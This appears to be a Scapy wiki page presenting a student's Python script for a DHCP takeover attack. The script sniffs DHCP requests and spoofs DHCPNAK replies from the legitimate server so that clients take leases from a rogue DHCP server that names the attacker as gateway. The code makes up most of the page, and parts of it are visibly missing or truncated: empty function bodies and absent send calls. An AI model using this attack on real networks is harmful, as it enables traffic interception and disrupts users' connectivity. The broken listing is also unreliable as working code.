Skip to content

Contrib: Code: DhcpTakeover

Pierre LALET edited this page Jan 17, 2016 · 1 revision

DHCP Takeover

For a school project we have to seek security holes in a *nix installation and the network it is placed on. I decided to run my own DHCP server to handout my own IP as the gateway machine. The problem with 2 DHCP servers on 1 network segment however is that the 'first come first served' principle applies; If the legit DHCP server is able to reply faster then your DHCP server, this 'attack' will fail.

The attached script will monitor the network for DHCPREQUEST broadcast messages. As a preemptive strike it will then spoof a DHCPNAK from the legit DHCP server in the hope the DHCP client will favour us over the real DHCP server now, even if it is faster. It will then monitor ARP replies to the DHCP servers to see which DHCP server a DHCP client aquired a lease from, to see if the 'attack was succesfull.

PS; Keep in mind that this is my first Python script, so it might not be as pretty and optimized as it could and/or should be.

#!/usr/bin/env python
# Author: Arn Vollebregt
# Email: 
# Version: 0.5.2
# Date: 12-06-2006 
# URL:
# Requires: Scapy ( )
# Goal:
# Denying x DHCP requests from DHCP clients, in the hope that the DHCP client will choose our 
# illegal DHCP server over the legit DHCP server. 
# What does it do: 
# * Sends a DHCPDISCOVER packet to discover the legit DHCP server.
# * Detects DHCPREQUEST (broadcast) packets from DHCP clients, and spoofs DHCPNAK packets from the
#   legit DHCP server. 
# * Limited to x DHCPNAK packets per DHCP client per negotiation, to avoid total disfunction of 
#   DHCP clients. x configurable via 'limit' variable (defaults to 3).
# * Reports if a DHCP client aquired a lease from the legit or illegal DHCP server.
# * Only retains client information during lease negotiations. New negotiation means new attempt. 
# What it does not do (yet):
# * Does not handle multiple (legit) DHCP servers yet. 
# * Does not use ARP yet to aquire the illegal DHCP's MAC address (cant figure out why that doesnt
#   want to work for now).
# * Find out how to sendp and sniff concurrently.
# * Solve my ARP discovery problem.

# Number of DHCPNAK packets to spoof before giving up.
limit = 3

import sys
import string
if len(sys.argv) is 1:
    print("Usage: " + sys.argv[0] + " -ip=<illegal DHCP server IP> -mac=<illegal DHCP server mac>"+
    " -v=<0|1|2>")
    print("Example: " + sys.argv[0] + " -ip= -mac=00:00:00:00:00:00 -v=1")
    print("-ip : Your own DHCP server, so that we know not to spoof DHCPNAK's from it.")
    print("-mac: The MAC address of your DHCP server. (See source for reason)")
    print("-v  : Verbosity level; 0: Silent 1: Detected DHCP leases 2: Detected DHCPREQUEST's+"+
    "spoofed DHCPNAK's")
    print("-ip and -mac are manditory, -v is optional (defaults to 2)")

globals()['verbose'] = 2

for i in range(len(sys.argv)):
    if string.find(sys.argv[i], "-ip") is 0:
        globals()['illegal_dhcp_server_ip'] = sys.argv[i].split('=')[1]
    elif string.find(sys.argv[i], "-mac") is 0:
        globals()['illegal_dhcp_server_mac'] = sys.argv[i].split('=')[1]
    elif string.find(sys.argv[i], "-v") is 0:
        globals()['verbose'] = int(sys.argv[i].split('=')[1])

if vars().has_key('illegal_dhcp_server_ip') is False:
    print("Please provide the -ip switch")
if vars().has_key('illegal_dhcp_server_mac') is False:
    print("Please provide the -mac switch")

from scapy import conf,sendp,srp1,sniff,Ether,IP,ARP,UDP,BOOTP,DHCP

# TODO: Find out why this works in a standalone script, but not here. Might be my slow laptop...
# Aquiring the MAC address of the illegal DHCP server.
#illegal_dhcp_server_mac = packet.hwsrc 

# This array will hold the MAC from a DHCP client, and the number of times we have tried to spoof 
# a DHCPNAK from the legit DHCP server.
attempted_dhcpnaks = {}

# This array holds the MAC address from DHCP clients which have send a DHCPREQUEST. We use it to
# cross reference it with ARP packets to see from which DHCP server a lease was obtained.
macs = {}

def msg(string, level):
    if globals()['verbose'] >= level:

# Sending a DHCPDISCOVER to aquire the DHCP server IP.
msg("Sending DHCPDISCOVER packet to discover DHCP servers",2)

# Filtering out the DHCP server it's IP address, and storing it in a global variable. We ignore our 
# own DHCP server via a bpf filter in the sniff command below. 
def get_dhcp_server(pkt):
    if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
        globals()["dhcp_server_ip"] = pkt[IP].src
        globals()["dhcp_server_mac"] = pkt[Ether].src
        msg("Legit DHCP server found on " + globals()['dhcp_server_ip'],1)

# Detecting DHCPREQUEST packets and ARP packets.
def detect_dhcp_request(pkt):
    if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
        msg("DHCPREQUEST detected from " + pkt[Ether].src,2)
        globals()['macs'][pkt[Ether].src] = pkt[Ether].src 
        if globals()['attempted_dhcpnaks'].has_key(pkt[Ether].src) == False:
            globals()['attempted_dhcpnaks'][pkt[Ether].src] = 0
        if globals()['attempted_dhcpnaks'][pkt[Ether].src] < globals()['limit']:
            globals()['attempted_dhcpnaks'][pkt[Ether].src] += 1
            msg("Giving up on spoofing DHCPNAK's for " + pkt[Ether].src + ", failed " +
            str(globals()['limit']) + " times",2)
            del globals()['attempted_dhcpnaks'][pkt[Ether].src]
    if pkt[ARP] and pkt[ARP].op == 0x0002:
        if globals()['macs'].has_key(pkt[Ether].src) == True:
            if pkt[ARP].hwdst == globals()['illegal_dhcp_server_mac']:
                msg("Succes: DHCP client " + pkt[ARP].hwsrc + " obtained a lease for " +
                pkt[ARP].psrc + "from the illegal DHCP server",1) 
            elif pkt[ARP].hwdst == globals()['dhcp_server_mac']:
                msg("Failure: DHCP client " + pkt[ARP].hwsrc + " obtained a lease for " +
                pkt[ARP].psrc + " from the legit DHCP server",1) 
            del globals()['macs'][pkt[Ether].src]

# Spoofing a DHCPNAK from the legit DHCP server when a DHCPREQUEST is send from the DHCP client.
def nak_request(pkt):
    msg("Spoofing DHCPNAK from " + globals()['dhcp_server_mac'],2)
    sendp(Ether(src=globals()['dhcp_server_mac'], dst=pkt[Ether].dst)/
    BOOTP(op=2, ciaddr=pkt[IP].src,siaddr=pkt[IP].dst,chaddr=pkt[Ether].src, xid=pkt[BOOTP].xid)/
    DHCP(options=[('server_id',globals()['dhcp_server_ip']),('message-type','nak'), ('end')]))

sniff(filter="udp and not host " + globals()['illegal_dhcp_server_ip'] + " and (port 67 or 68)",
prn=get_dhcp_server, store=0, count=1, timeout=1)

if globals().has_key('dhcp_server_ip') == False:
    print("No other DHCP server found, exiting")

sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp_request, store=0)